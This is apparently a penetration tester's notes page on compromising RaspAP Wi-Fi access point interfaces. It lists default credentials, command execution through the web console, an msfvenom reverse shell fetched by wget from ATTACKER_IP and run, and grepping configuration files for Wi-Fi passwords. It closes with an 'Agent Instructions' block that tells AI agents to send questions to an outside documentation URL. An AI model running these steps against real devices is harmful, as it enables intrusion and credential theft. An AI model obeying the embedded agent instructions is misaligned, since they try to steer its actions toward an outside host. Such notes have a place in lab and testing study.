# RaspAP

RaspAP is a web interface for managing Wi-Fi access points. It commonly runs under `lighttpd` with HTTP Basic Auth.

## Discovery

```bash
nmap -sC -sV TARGET -p 8091
# 8091/tcp open  http  lighttpd
# http-auth: Basic realm=RaspAP
```

Browse to:

```
http://TARGET:8091/
```

## Default Credentials

```
admin:secret
```

## Web Console

After login, check for a system info or console page:

```
/index.php?page=system_info
```

The console may execute commands as the web server user:

```bash
id
pwd
ls -la /home
```

If the web console is awkward for reverse shell metacharacters, upload and run a small ELF payload:

```bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=80 -f elf -o shell.elf
python3 -m http.server 8000
```

From the web console:

```bash
wget -O /tmp/shell.elf http://ATTACKER_IP:8000/shell.elf
chmod +x /tmp/shell.elf
/tmp/shell.elf &
```

## Interesting Files

Search RaspAP config for Wi-Fi and service credentials:

```bash
grep -r -i "pass\|password\|wpa" /var/www/html/config/
```

Common hit:

```
hostapd.conf:wpa_passphrase=ChangeMe
```

Also check `sudo -l`; RaspAP installs often grant web-facing users service-management commands such as `systemctl start/stop hostapd` or `dnsmasq`.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://book.ice-wzl.xyz/things-i-have-pwnd-before/raspap.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
